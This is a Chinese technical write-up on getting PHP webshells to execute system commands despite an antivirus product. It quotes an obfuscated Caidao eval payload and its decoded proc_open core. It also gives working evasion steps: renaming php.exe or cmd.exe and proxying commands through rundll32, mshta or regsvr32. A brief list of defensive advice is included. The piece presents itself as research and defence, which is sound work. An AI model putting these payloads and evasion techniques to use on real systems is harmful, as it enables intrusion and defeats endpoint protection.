php绕过某防护软件执行系统命令
字数 846 2025-08-07 08:22:33

PHP绕过某防护软件执行系统命令技术分析

0x01 背景与前言

本文详细分析在PHP环境下绕过360等防护软件执行系统命令的技术方法。主要针对两种常见Webshell管理工具(蚁剑和菜刀)在执行命令时被拦截的情况进行分析,并提供有效的绕过方案。

0x02 流量分析对比

蚁剑执行命令特征

cmd /c "cd /d "C:/phpstudy_pro/WWW"&蚁剑shell接收的命令&echo 844fa65177&cd&echo b9efda2bfbc"
  • 使用cmd /c执行命令
  • 包含明显的定位标记(844fa65177等)
  • 拦截点在第二个cmd创建时

菜刀执行命令特征

array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('BASE64编码内容')));"));

解码后核心代码:

$p = 'cmd';
$s = 'cd /d C:\\phpstudy_pro\\WWW\\&notepad&echo [S]&cd&echo [E]';
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
$r = "{$p} {$c}";
$fp = proc_open($r . " 2>&1", $array, $pipes);
  • 同样使用cmd /c但拦截率较低
  • 使用proc_open而非直接system

0x03 防护软件拦截原理

通过调试分析发现:

  1. 32位系统拦截CreateProcessA API调用
  2. 64位系统拦截NtCreateUserProcess系统调用
  3. 主要检测点:
    • 进程创建行为
    • 特定进程名(cmd.exe)
    • 调用链分析

0x04 绕过技术方案

方案1:重命名PHP解释器

  1. 将php.exe复制为其他名称(如a.exe)
  2. 使用重命名后的解释器执行命令
// 绕过EXP
cmd=chdir(php路径);copy("php.exe","a.exe");system("a -r \"system(\\\"cmd /c tasklist\\\");\";");

方案2:使用替代命令行工具

  1. 从其他系统获取cmd.exe副本
  2. 重命名为其他名称(如biesha.exe)
  3. 使用重命名后的工具执行命令
biesha /c tasklist

方案3:利用白名单程序

  1. 使用系统白名单程序如:
    • rundll32.exe
    • mshta.exe
    • regsvr32.exe
  2. 通过这些程序间接执行命令

0x05 技术原理总结

  1. 进程名检测:防护软件主要检测特定进程名(cmd.exe)
  2. 首次执行豁免:重命名后首次执行可绕过后续检测
  3. API层拦截:在底层API调用时进行行为分析

0x06 防御建议

  1. 对Web服务器:

    • 限制PHP危险函数(system, exec, proc_open等)
    • 监控异常进程创建行为
  2. 对防护软件:

    • 增加进程哈希校验
    • 监控父进程链异常情况

0x07 参考资源

  • 原文参考
  • Windows进程创建API文档
  • PHP执行系统命令相关函数说明

注:本文仅用于安全研究和技术防御,请勿用于非法用途。

PHP绕过某防护软件执行系统命令技术分析 0x01 背景与前言 本文详细分析在PHP环境下绕过360等防护软件执行系统命令的技术方法。主要针对两种常见Webshell管理工具(蚁剑和菜刀)在执行命令时被拦截的情况进行分析,并提供有效的绕过方案。 0x02 流量分析对比 蚁剑执行命令特征 使用 cmd /c 执行命令 包含明显的定位标记(844fa65177等) 拦截点在第二个cmd创建时 菜刀执行命令特征 解码后核心代码: 同样使用 cmd /c 但拦截率较低 使用 proc_open 而非直接 system 0x03 防护软件拦截原理 通过调试分析发现: 32位系统 拦截 CreateProcessA API调用 64位系统 拦截 NtCreateUserProcess 系统调用 主要检测点: 进程创建行为 特定进程名(cmd.exe) 调用链分析 0x04 绕过技术方案 方案1:重命名PHP解释器 将php.exe复制为其他名称(如a.exe) 使用重命名后的解释器执行命令 方案2:使用替代命令行工具 从其他系统获取cmd.exe副本 重命名为其他名称(如biesha.exe) 使用重命名后的工具执行命令 方案3:利用白名单程序 使用系统白名单程序如: rundll32.exe mshta.exe regsvr32.exe 通过这些程序间接执行命令 0x05 技术原理总结 进程名检测 :防护软件主要检测特定进程名(cmd.exe) 首次执行豁免 :重命名后首次执行可绕过后续检测 API层拦截 :在底层API调用时进行行为分析 0x06 防御建议 对Web服务器: 限制PHP危险函数(system, exec, proc_ open等) 监控异常进程创建行为 对防护软件: 增加进程哈希校验 监控父进程链异常情况 0x07 参考资源 原文参考 Windows进程创建API文档 PHP执行系统命令相关函数说明 注:本文仅用于安全研究和技术防御,请勿用于非法用途。